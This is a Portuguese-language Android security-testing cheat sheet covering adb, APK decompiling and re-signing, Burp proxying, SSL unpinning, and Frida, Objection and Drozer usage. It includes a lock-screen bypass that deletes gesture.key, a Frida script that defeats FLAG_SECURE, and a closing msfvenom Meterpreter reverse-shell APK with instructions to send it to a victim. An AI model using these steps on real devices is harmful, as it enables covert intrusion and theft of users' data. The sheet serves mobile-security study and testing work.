Android

Estrutura

DIRETÓRIO	DESCRIÇÃO
/system/app	Aplicativos padrões (nativos), como Calculadora, Galeria, Maps, etc.
/data/app-private	Aplicativos de terceiro. Aqui podemos encontrar as APK's, caso tenho interesse.
/data/data	Estrutura dos aplicativos (nativos e de terceiros). Alguns dados dos app podem ser vistos aqui, incluindo arquivos de bando de dados.
data/app/<package.name>	Diretório onde ficam as APK's baixadas pela Play Store
/data/local/tmp	Diretório onde ficam os arquivos temporários
/data/system/gesture.key	Arquivo responsável por gerenciar o código de desbloqueio com sequência nos pontos.
/mnt/sdcard	Acesso ao cartão de memória
adb exec-out screencap -p > <output_screen.png>	Tira print da tela e salva em arquivo

Baixando APK

Maneira 1

A maneira mais prática que temos de pegar uma APK, é baixando pela play store e depois acessando o shell do android, navegando até /data/app/<package.name> e então baixado o <file.apk>. Aqui caímos em um cenário interessante... o nome do package terá um prefixo (exceto nos Androids mais antigos), então um usuário comum não consegue listar o seu nome, já que somente o root acessa o diretório /data/app. Porém, o arquivo apk é acesível para todos, que fica em /data/app/<package.name>/base.apk. Então iremos precisar fazer um macete para pegarmos essas APK's sem precisar utilizar o root.

Verificando nomes dos pacotes:

adb shell pm list packages -3 | cut -d':' -f2

Após termos em mãos os nomes dos pacotes, podemos pegar o caminho exato do arquivo apk (que temos acesso):

adb shell pm path '<package.name>' | cut -d':' -f2

Feito isso, basta baixá-lo:

adb pull '</data/app/<package.name-sufixo>/base.apk'

Maneira 2

Primeiro acesse o site https://play.google.com/store, copie o link da página do app que deseja pegar a APK e então acesse o site https://apps.evozi.com/apk-downloader/ e informe a URL copiada.

Armazenamento de Dados

Shared Prefs

Este tipo consiste em armazenar informações localmente em /data/data/<package.name>/shared_prefs/<package.name>_preferences.xml (o app pode criar diversos arquivos, não se limite a olhar somente esse). Supondo que o app esteja armazenando o usuário e senha dessa maneira, tais credenciais podem ser comprometidas caso um atacante tenha acesso físico ao celular.

SQLite

Geralmente podemos encontrar o arquivo sqlite em /data/data/<desenvolvedor.do.app>/databases.

Tipos de Arquivos e Conversões

Compilando código java (converte file.java em file.class)

javac <file.java>

Para verificar se o arquivo está ok, basta executar o comando abaixo (não precisa do sufixo .class):

java <file>

Por padrão, o Android não executa esse tipo de arquivo, então precisamos utilizar DVM (Dalvik Virtual Machine), e para isso, é necessário converter arquivo .class em .dex.

./dx --dex --output=desec.dex Desec.class

Para testar se está ok, faça upload desse arquivo para o Android via adb (pode ser em /data/local/tmp) e depois execute o seguinte comando:

dalvikvm -cp <file.dex> <NameFileClass>

Nas versões mais atuais do Android, a execução é feita através do ART (Android Runtime), então é preciso converter o arquivo .dex em oat.

dex2oat --dex-file=<file.dex> --oat-file=<file.oat>

Também podemos converter arquivos .java em .dex e depois em .smali.

javac --release 7 <file.java>
dx --dex --output=<file.dex> file.class
baksmali <file.dex> -o <file>

Bypass em Tela de Bloqueio

Caso tenha acesso root ao Android via adb, podemos resetar a senha de desbloqueio (aquela que é preciso fazer uma determinada sequencia ligando os pontos). Para isso, basta executar o comando abaixo para deletar o arquivo responsável pelo gerenciamento dessa senha.

rm /data/system/gesture.key

Feito isso, basta agora utilizar qualquer sequencia de desbloqueio, que o Android irá validar como correto.

Android Studio

Execute antes de instalar o Android Studio, execute:

sudo apt install libz1 libncurses5 libbz2-1.0:i386 libstdc++6 libbz2-1.0

Após a sua execução, abra o Android Studio, vá no menu Tools e clique em Create Desktop Entry, assim não é preciso entrar no diretório via terminal e chamar diretamente o arquivo studio.sh toda vez.

Emulator

Esse, assim como o adb, já faz parte do pacote do Android Studio e podemos utilizá-lo para iniciarmos um Android sem precisar abrir a GUI do Android Studio, que deve ser utilizado somente para criar os dispositivos antes.

Listando dispositivos disponíveis que já foram criados através do Android Studio

./emulator -list-avds

Iniciando um dispositivo

./emulator @<name>

Fornece permissão de escrita nas pastas de sistema quando viramos root

emulator -avd <avd_name> -writeable-system

adb

ATENÇÃO: Sempre que for utilizar o adb, certifique-se de emular o Android antes, através do ./emulator @<android>

COMANDO	DESCRIÇÃO
adb devices	Lista os devices disponíveis
adb -s <device_name> shell	Caso tenha mais de um device, é preciso passar o seu nome. Caso tenha somente um device, não é preciso especificar
adb shell getprop ro.product.cpu.abi	Descobrindo a arquitetura do Android
adb root	Reinicia o adb com permissões de root
adb unroot	Reinicia o adb sem permissões de root
adb shell	Conecta via shell no android (funciona somente quanto tem apenas 1 device)
adb -e shell	Conecta via shell no android emulado (funciona somente quanto tem apenas 1 device emulado)
adb -d shell	Conecta via shell no android físico (funciona somente quanto tem apenas 1 device físico)
adb shell <command>	Executa o comando no shell (sem entrar no modo interativo)
adb shell ps	Exibe os processos que estão em execução no Android
adb push <file> /data/local/tmp	Realiza upload de um arquivo para o tmp do Android
adb pull </path/to/file.txt>	Realiza download de um arquivo do Android para o diretório atual
adb pull </path/to/file.txt> </path/to/local/file.txt>	Realiza download de um arquivo do Android para um diretório personalizado
adb install <file.apk>	Instala um app manualmente
adb uninstall package	Desinstala um app. Utilize o comando ps para listar o nome do package
adb forward tcp:<port> tcp:<port>	Realiza um port forwarding
adb start-server	Inicia o serviço do adb
adb kill-server	Encerra o serviço do adb. As vezes o adb trava, então é útil parar o seu serviço e iniciar novamente, isso muitas vezes corrige as falhas

Package Manager

DICA: Os comandos abaixo devem ser executados após entrar na shell interativa com o comando adb shell ou adicione o próprio prefixo adb shell nos comandos abaixo para não entrar na shell interativa.

COMANDO	DESCRIÇÃO
adb shell pm list users	Lista os usuários
adb shell pm list packages	Lista todos os pacote
adb shell pm list packages -s	Lista todos os pacotes de sistema
adb shell pm list packages -3	Lista todos os pacotes de terceiros
adb shell pm path <package_name>	Mostra o caminho do APK

Activity Manager

DICA: Os comandos abaixo devem ser executados após entrar na shell interativa com o comando adb shell ou adicione o próprio prefixo adb shell nos comandos abaixo para não entrar na shell interativa.

COMANDO	DESCRIÇÃO
am start -a android.intent.action.VIEW <http://site.com>	Abre o navegador já com determinada URL
am start -a android.intent.action.VIEW geo:0,0?q=<Nome+da+Empresa>	Procura por uma empresa no Google Maps
am start -a android.intent.action.CALL -d tel:<number>	Realiza uma ligação para determinado número
am start -a android.intent.action.VIEW content://contacts/people	Abre a agenda de contatos telefônicos
am start -n com.android.music/com.android.music.MusicBrowserActivity	Abre o player de música

Services

DICA: Os comandos abaixo devem ser executados após entrar na shell interativa com o comando adb shell ou adicione o próprio prefixo adb shell nos comandos abaixo para não entrar na shell interativa.

COMANDO	DESCRIÇÃO
am startservice -n com.android.music/com.android.music.MediaPlaybackService	Iniciando um serviço em background
am stopservice -n com.android.music/com.android.music.MediaPlaybackService	Finaliza um serviço em background

Broadcast Receivers

COMANDO	DESCRIÇÃO
am broadcast -a android.intent.action.BOOT_COMPLETED	Exibe a mensagem (logo) quando liga o celular

Content Providers

COMANDO	DESCRIÇÃO
content query --uri content://sms/sent	Exibe no terminal todos os SMS que foram enviados e suas respectivas informações

SSL Pinning / Unpinning

No final dessa página, utilize o link de download para baixar o Frida Multiple Pinning, que resolve questões de Pinning e falhas de TrustManager, que geralmente vem acompanhando de erros como java.security.cert.CertPathValidatorException: Trust anchor for certification path not found ao realizarmos uma interceptação via Burp Suite.

Podemos procurar por pontos de pinagem em código ofuscado, extraindo o código com o apktool e depois procurando por palavras-chave, como no exemplo abaixo:

grep -irnE -A6 'method public.*\(Ljava/lang/String;Ljava/lang/String;\)' | grep -i pin

Manual

Após decompilar a APK com o apktool, vá na tag application dentro arquivo AndroidManifest.xml e adicione o seguinte conteúdo:

android:networkSecurityConfig="@xml/network_security_config"

Vá em res/xml e crie um arquivo chamado network_security_config.xml, com o seguinte conteúdo:

<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
	<base-config>
		<trust-anchors>
			<certificates src="system" />
			<certificates src="user" />
		</trust-anchors>
	</base-config>
</network-security-config>

Compile com o apktool e em seguida crie uma auto assinatura (todos esses passos estão nessa mesma página).

Proxy

Maneira 1

Essa é sem dúvidas a forma mais, pois iremos apenas criar um túnel via adb utilizando o comando abaixo. Não é preciso importar certificado do Burp nesse processo.

adb reverse tcp:8080 tcp:8080

Verificando os túneis que estão ativos

adb reverse --list

Após isso, basta ir nas configuração do Wifi e adicionar um proxy para 127.0.0.1 na porta 8080. Com isso, possívelmente já deve ser capaz de interceptar as requisições via Burp, porém em alguns cenários isso não é o suficiente, já que o firewall pode barrar esse tipo de conexão. Para resolver este cenário, acesse o Android com root e execute os seguintes comandos:

iptables -t nat -A OUTPUT -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A OUTPUT -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8080

Feito isso, vá no Burp Suite > Proxy > Options, selecione o Listener (127.0.0.1:8080), clique em Edit, vá na aba Request handling e selecione a opção Support invisble proxying (enable only if needed).

Maneira 2

Caso utilize algum proxy (por exemplo, o Burp Suite), utilize o comando abaixo. Lembre-se também de, alterar o proxy nas configurações de rede do próprio Android, seja editando a Rede Wifi ou a Rede Móvel (configurando o APN - Access Point Names). Configure um PIN de 4 dígitos para bloqueio de tela e importe também o certificado confiável do proxy para que possa os apps normalmente. Caso utilize o wifi em um Android Emulador, desabilite o 3G/4G.

./emulator @<name> -http-proxy <ip>:<port>

Outra alternativa é, alterar as configurações no menu suspenso que fica do lado do mobile, onde é possível configurar o proxy.

Acessando como root

Ao utilizar o Android Studio e emular um novo Android, se atente ao ponto onde, imagens com o Google Play instalado não possui o root ativo, já os que não possuem o Google Play, podem ser acessados como root.

Maneira 1

Após iniciar o Android e acessar via adb shell, note que temos acesso de um usuário comum, mas podemos ter acesso root apenas digitando su no terminal. Se preferir, pode-se utilizar o comando adb root para ficar com acesso root diretamente, note que após isso, o comando adb shell id terá um resultado diferente.

Maneira 2

Outra maneira de fazermos o processo de root é executar o seguinte comando em um terminal:

./emulator -avd <android-name> -writable-system -selinux permissive -qemu -enable-kvm

E em outro terminal:

adb root
adb remount
adb shell

Diretórios e Arquivos Importantes (APK)

AndroidManifest.xml

NOTA: No final da página (na seção sites, há um link onde pode enviar conteúdo no AndroidManifest.xml e o site irá explicar cada permissão que o app está utilizando).

Este é o principal arquivo de configuração usado por todos os aplicativos Android. É usado pelo Android para obter informações sobre o aplicativo, bem como quais funcionalidades estão expostas a outros aplicativos (entre outras coisas).

Fique atento as seguintes informações:

• package = Nome do app

• platformBuildVersionCode = Versão do SDK que aplicativo foi compilado

• android:allowBackup="true" = É possível fazer um backup do aplicativo via adb

• android:exported="true" = Este serviço pode ser invocado por outros aplicativos

• android.permission.SET_DEBUG_APP = Caso esse recurso esteja ativo (presente no AndroidManifest.xml, significa que o aplicativo pode realizar debug de outros aplicativos.

• android.permission.DUMP = Permite que o aplicativo recupere o estado interno do sistema, permitindo recuperar uma grande variedade de informações privadas e seguras.

• android.permission.MANAGE_ACCOUNTS = Permite que a aplicação permita criar e excluir contas

Um ponto importante também a ser notado, é que o podemos ver a tag activity no AndroidManifest.xml, e dentro dela, a tag intent-filter com sua respectiva action. Isso siginifica que essa action pode ser chamada por outros apps, ou até mesmo de forma manual, independente do app estar em execução ou não. Execute então o Activity Manager (am) para realizar tal chamada, substituindo o <activity_android:name> abaixo, com o valor de android:name, localizado na tag activity, porém adicionando um / antes do último ponto. Exemplo:

adb shell am start <activity.android/.name>

Podemos também chamá-lo de uma maneira diferente, passando o parâmetro -n para informar o Componente e o -a para informa a Action (valor de android:name dentro da tag action).

adb shell am start -n <activity.android/.name> -a <android.name.action.XYZ>

Em alguns casos, essas actions podem/devem receber parâmetros (que não são exibidas no AndroidManifest.xml), então deve adicionar o parâmetro --ez no comando acima. Para saber quais parâmetros são esses, devemos decompilar com o apktool e ler o código-fonte e, após isso, acessar res/values/strings.xml e verificar o nome real que deve ser passado pelo adb, como no exemplo abaixo:

adb shell am start -n <activity.android/.name> -a <android.name.action.XYZ> --ez <param> <value>

Outro ponto importante de vermos são os respectivos donos (ID de grupo e usuário)

cd /data/data
ls -lan
dumpsys package | grep 'Package \[' -A1

res/layout/activity_main.xml

Conteúdo em XML que contém um código fonte do frontend da aplicação.

res/values/strings.xml

String única que pode ser referenciada do aplicativo ou de outros arquivos de recurso (como um layout XML).

HardcodeActivity

Arquivo que podemos encontrar por chaves e demais valores que estão engessados no código. Caso use o apktool, este deve estar com a extensão smali.

LogActivity

Arquivo que gera saídas de log, que pode ser lida através do adb logcat.

Lendo Logs em Real Time

Isso é útil para identificarmos dados sensíveis que são disponíveis nos log's.

adb shell logcat

DICA: Caso queira filtrar por determiando processo, utilize o comando ps, e então execute o comando acima utilizando um grep com o PID do processo que deseja monitorar.

Flag Secure

Aplicativos com o Flag Secure ativo, bloqueia print do app quando ele está aberto e/ou quando a janela aparece na lista de apps abertos. Também é útil para barrar ferramentas que acessam um app físico remotamente, como Vysor.

Bypass de Flag Secure. Salve o código abaixo com o nome xpl.js

Java.perform(function() {
	var surface_view = Java.use('android.view.SurfaceView');
	var set_secure = surface_view.setSecure.overload('boolean');
	set_secure.implementation = function(flag) {
		console.log("setSecure() flag called with args: " + flag);
		set_secure.call(false);
	}

	var window = Java.use('android.view.Window');
	var set_flags = window.setFlags.overload('int', 'int');
	var window_manager = Java.use('android.view.WindowManager');
	var layout_params = Java.use('android.view.WindowManager$LayoutParams');

	set_flags.implementation = function(flags, mask) {
		flags = (flags.value & ~layout_params.FLAG_SECURE.value);
		set_flags.call(this, flags, mask);
	}
});

Agora execute:

/path/to/frida -U -f '<package.name>' -l xpl.js --no-pause

NOTA: Até o momento não existe uma maneira 100% eficaz que barre esse tipo de bypass

Content Provider

Primeiro verifique se o AndroidManifest.xml possui a chave/valor android:exported="true" na tag provider, e caso seja positivo, execute o comando abaixo no código-fonte decompilado para buscar pelo content:

grep -irn 'content://'

Caso localize algo com o grep acima, utilize o comando abaixo para ver os seu conteúdo:

adb shell content query --uri content://<desenvolvedor.package.name.provider.provider/name>

MobSF

Executando via Docker

sudo docker pull opensecurity/mobile-security-framework-mobsf
sudo docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

Drozer

Instalação

Instalando o Drozer no Android

adb install drozer.apk

Entre na GUI do Drozer, inicialize o serviço pelo próprio app e verifique a porta que foi aberta (geralmente é 31415).

Levando em conta que estamos utilizando a porta default (31415), vamos fazer um Port Forwarding via adb, com o seguinte comando:

adb forward tcp:31415 tcp:31415

Feito isso, vamos iniciar o Drozer no terminal Linux, com o comando abaixo. Adicione --server <phone-ip> caso não seja na mesma máquina que esteja executando o Drozer e o Android.

drozer console connect

Utilização

Lista todos os módulos disponíveis

list

Help

help <module>

Acessando Shell do dispositivo

shell

Buscando por todos os pacotes

run app.package.list

Informações sobre as activities do um package. Adicione -u no final para ver todas as activities, pois por padrão só serão exibidas as que são exportadas, pois são propensas a ataques.

run app.activity.info -a <package>

Chamando uma activity

run app.activity.start --component <package> <activity>

Buscando por todos os pacotes, porém utilizando um filtro pelo nome

run app.package.list -f <name>

Informações sobre o pacote

run app.package.info -a <package>

Exibindo o AndroidManifest.xml

run app.package.manifest <package>

Examina a superfície de ataques do pacote instalado

run app.package.attacksurface <package>

Procura por Providers que podem ser executadas via query

run scanner.provider.finduris -a <package>

Decompilando APK

apktool

Baixe a APK que deseja decompilar, vá no terminal e execute o comando abaixo. Caso não especifique a saída, será utilizado o diretório local.

apktool d <nome_de_saida> -o </caminho/completo/file.apk>

Disassemble sem o resources

apktool -r d <file.apk> -o <output> 

Em alguns casos, é melhor baixar o apktool.jar e executá-lo, pois o que vem nativo no Kali as vezes pode apresentar alguns erros. Verifique no final dessa página a URL para download. Nesse caso, como se tratar de um arquivo .jar, precisamos executá-lo da seguinte forma:

java -jar apktool.jar d <file.apk> -o <output>

Smali / BakSmali

Se executar o comando abaixo e não especificar o output, irá ser criado um diretório chamado out, onde irá conter os arquivos com extensão smali.

java -jar baksmali.jar d <file.apk> -o <output_dir>

unzip

Outra maneira de descompactarmos uma apk (o resultado poderá diferente do comando anterior), é utilizando o unzip:

unzip <file.apk>

jadx

Extraindo arquivo com extensão .java

jadx </path/file.apk> -d <output_dir>

Abrindo apk em modo gráfico (IDE) em real time

jadx-gui </path/file.apk>

Além fazer essa extração de .apk para .java, o jadx-gui também consegue abrir arquivos .apk e ler o seu conteúdo, decompilando em tempo de execução.

enjarify

Instalação

sudo apt install enjarify

Converte .apk em .jar

enjarify <file.apk> -o <file_output.jar>

Pós Decompilação

Arquivos dex

As vezes ao desmontarmos uma APK, podemos ter arquivos de classes com extensão dex. Para lermos esses arquivos, temos que converter esse arquivo em jar e então, descompactarmos ele com o unzip.

d2j-dex2jar <file.dex>
unzip <file-dex2har.jar>

OBSERVAÇÃO: Também é possível fazer esse processo direto no <file.apk>, através do comando d2j-dex2jar <file.apk> -o <output_file.zip> e depois unzip <output_file.zip>.

Lendo Arquivos class

O comando abaixo irá fazer uma cópia do arquivo .class para o diretório atual, com a extensão .jad (legível)

jad <file.class>

Caso tenha acesso ao GUI, utilize o comando abaixo para abrir uma ferramenta em modo gráfico:

jd-gui

NOTA: o jd-gui lê mais tipos de arquivos, como: .aar, .class, .ear, .jar, .java, .jmod, .log, .war e .zip

Manipulando Arquivos class

Depois de montar um arquivo .jad a partir um arquivo .class, podemos manipular o código com qualquer editor. Primeiro altere a extensão de .jad para .java e então execute o seguinte comando para converter em arquivo .java em .class. Atente-se que, caso tenha um arquivo com o mesmo nome e extensão .class, o mesmo será sobrescrito sem perguntar se deseja fazer isso ou não.

javac <file.java>

Feito isso, será criado um arquivo .class e partir do arquivo .java, o que nos permite agora executá-lo diretamente.

java <file>

NOTA: O comando java irá buscar automaticamente por um arquivo com extensão .class, então coloque somente o nome do arquivo.

Compilando APK

Agora que APK já foi modificada, basta montá-la novamente, depois assiná-la e por fim, alinhá-la.

apktool

apktool b <nome_do_diretório_com_codigo_extraído> -o <output.apk>

Se montar o APK e não definir o output, o APK estará localizado em <nome_do_diretório_com_codigo_extraído/dist/file.apk>.

smali

java -jar <smali-x.x.x.jar> assemble <output_disass> -o <classes.dex>
zip -r <output.apk> AndroidManifest.xml classes.dex res resources.arsc

Certificado Auto-Assinado

Após ter montado o APK, precismos assiná-lo digitalmente para que possa ser instalado no Android. Talvez seja preciso ainda, fazer o alinhamento para que seja feito a instalação do APK com sucesso.

Gerando a chave e auto-assinando:

keytool -genkey -v -keystore <hack.keystore> -alias <alias> -keyalg RSA -keysize 2048 -validity 10000
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore <hack.keystore> <file.apk> <alias>

OBS.: Caso dê erro invalid entry compressed size ao executar o jarsigner, execute o comando abaixo e depois use o jarsigner novamente:

zip -d <file.apk> META-INF/\*

Verificar a assinatura (geralmente encontramos o jarsigner no diretório do Android Studio: ./android-studio/jre/bin/jarsigner)

jarsigner -verify -verbose -certs <file.apk>

Listando os certificados que tem dentro do keystore

keytool -list -v -keystore <file.keystore>

Exportando o certificado para ter uma melhor visualização

keytool -export -rfc -keystore <file.keystore> -alias <alias> -file <file_output.cer>

Alinhamento do APK (Align)

Esse procedimento é realizado após compilar a APK e auto assiná-la. Isso é importante, pois em alguns casos não é possível instalar a APK mesmo depois de auto assinar.

Geralmente encontramos o zipalign em ./Android/Sdk/build-tools/<version>/zipalign.

zipalign -v 4 <file.apk> <final.apk>

Frida

Tem muitas dependências, então caso dê pau, utilize outras versões. De preferência, utilize a partir da 15.0.0. O recomendado é utilizar a mesma versão no Frida Server (Android) e no Frida Client (Computador).

IMPORTANTE: Antes de realizar o procedimento abaixo para instalar, certifique-se de baixar o frida para a arquitetura correta do Android. Verifique como fazer isso na seção acima de adb.

Instalando Frida Client (computador)

Certifique-se de que o python está na versão 3

pip install frida-tools
# ou 
python -m pip install frida-tools

Instalando Frida Server (android emulado)

Baixe e descompacte o frida.xz, envie para o Android em /data/local/tmp/ e dê a permissão com o seguinte comando:

chmod +x /data/local/tmp/<frida-server>

Instalando Frida Server (android físico)

Baixe e descompacte o frida.xz, envie para o Android em /data/local/tmp/. Para dar permissão de execução, utilize um dos comandos abaixo:

adb shell su -c chmod +x /data/local/tmp/<frida-server>
adb shell su 0 chmod +x /data/local/tmp/<frida-server>

Executando (android emulado)

adb root
adb shell chmod +x /data/local/tmp/<frida-server>
adb shell /data/local/tmp/<frida-server> &

Executando (android físico)

Execute um dos comandos abaixo:

adb shell su -c /data/local/tmp/frida-server &
adb shell su 0 /data/local/tmp/frida-server &

Utilização

Verificando aplicativos que estão em execução no Android

frida-ps -U

Tunelamento / Proxy

adb reverse tcp:8080 tcp:8080
</path/to/frida> -U -f <package.name> -l <unpinning.js> --no-pause

Objection

Trabalha em cima do Frida, porém de uma forma mais automatizada, então certifique-se de executar o Frida Server (Android) antes de utilizar o Objection.

Instalação

Certifique-se de que o python está na versão 3

pip install objection
python -m pip install objection

Utilização

Conectando no android a abrindo um app (execute o frida server antes)

objection --gadget <package.name> explore

Verificando variáveis de ambiente

env

Executando comandos no SO

android shell_exec <command>

Importando script do Frida

import </path/to/frida>

Versão do Frida

frida

Baixando arquivo

file download </path/android/file> .

Upload de arquivo

file upload <file> </path/android> 

Tirando print da tela (somente se o app estiver em primeiro plano)

android ui screenshot <output_file>

Listando as Activities

android hooking list activities

Listando os Services

android hooking list services

Listando os Receivers

android hooking list receivers

Verificando qual a Activity que está sendo exibida no exato momento na aplicação. Ao alterar de tela no app, verifique que o comando abaixo irá mudar a resposta, exibindo a respectiva Activity no momento

android hooking get current_activity

Abrindo uma Activity

android intent launch_activity <package.name>.<activity>

Exibe todas as classes que são carregadas na aplicação

android hooking list classes

Semelhante ao comando anterior, porém este irá trazer somente as classes de um detereminado app. Note que o resultado irá trazer o nome (caminho) completo dessa classe, porém nos próximos comandos, utilize somente o final (o que está após o último ponto final) do resultado

android hooking search classes <package.name>

Pegando os métodos de uma determinada classe de um determinado app

android hooking search methods <package.name> <class>

Verificando os parâmetros que um determinado método possui

android hooking list class_methods <package.name>.<class>

Pegando um exemplo de Hooking. Depois de ver o resultado, altere a linha comentada com um console.log("Texto aqui"); e salve em um arquivo .js. Após isso, execute e verifique se a mensagem foi exibida com sucesso no terminal do Objection, materializando assim que o Hooking teve êxito. Note que, ao realizar o comando abaixo, será gerado um script com todos os métodos da classe MainActivity, então limpe/apague o código dos métodos que não for utilizar. Abaixo estamos utilizando o MainActivity, mas altere para a classe que deseja atacar.

# Gerando Hooking JS
android hooking generate simple <package.name>.<MainActivity>

# Executando o Hooking
frida-ps -U -f '<package.name>' -l <file.js> --no-pause

Exemplo de código que deverá ser gerado:

Java.perform(function() {
    var clazz = Java.use('<package.name>.<MainActivity>');
    clazz.onCreate.implementation = function() {

        //
	
	return clazz.onCreate.apply(this, arguments);
    }
});

Super-Analyzer

Ferramenta via terminal que exporta um HTML com vulnerabilidades encontradas.

super-analyzer <file.apk>

Após o termino da execução do comando acima, leia o arquivo situado em ./results/owasp.mstg./index.html.

ClassyShark

Ferramenta desenvolvida em Java que permite ler código-fonte de APK.

Iniciando o ClassyShark

java -jar ClassyShark.jar

AATP2 (Android Asset Packaging Tool)

O AAPT2 (Android Asset Packaging Tool) é uma ferramenta de compilação que o Android Studio e o Plug-in do Android para Gradle usam para compilar e empacotar recursos de apps. O AAPT2 analisa, indexa e compila os recursos em um formato binário que é otimizado para a plataforma Android. Apesar de vermos o AAPT2 sendo utilizada em conjuntos com outras ferramentas, também podemos utilizá-la separadamente via terminal.

Verificando permissões do APK

Este na verdade irá ler o AndroidManifest.xml e extrair as devidas informações.

aapt dump permissions sample-expense-manager.apk

Lendo Arquivos ab

Arquivos com extensão .ab são usados para fazer backup. Para ver o seu conteúdo, execute:

( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 <file.ab> ) |  tar xfvz -

Invadindo Android com Metasploit

msfconsole
msfvenom -p android/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> R > <virus.apk>
use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set LPORT <port>
exploit

Agora envie o arquivo gerado para a vítima e, assim que ele executar a APK, irá entrar no Meterpreter

Sites

# Download do apktool
https://github.com/iBotPeaches/Apktool/releases

# Site para baixar APK
https://apkcombo.com/pt/

# Frida Multiple Unpinning
https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/

# Fridantiroot
https://codeshare.frida.re/@dzonerzy/fridantiroot/

# Site para saber o que significa cada permissão do AndroidManifest.xml
http://androidpermissions.com/

# Detalhes sobre o AndroidManifest.xml
https://developer.android.com/guide/topics/manifest/manifest-intro

# Frida
https://github.com/frida/frida/releases/

# Proxiando Android com Burp Suite
https://portswigger.net/support/configuring-an-android-device-to-work-with-burp

# Baksmali e Smali - Baixe os arquivos baksmali-x.x.x.jar e smali-x.x.x.jar
https://bitbucket.org/JesusFreke/smali/downloads/
https://gitlab.com/kalilinux/packages/smali

# Enjarify - Converte um arquivo .apk em uma .jar
https://github.com/google/enjarify

# Jython - Executa um Java dentro ou do Python ou vice-versa
https://www.jython.org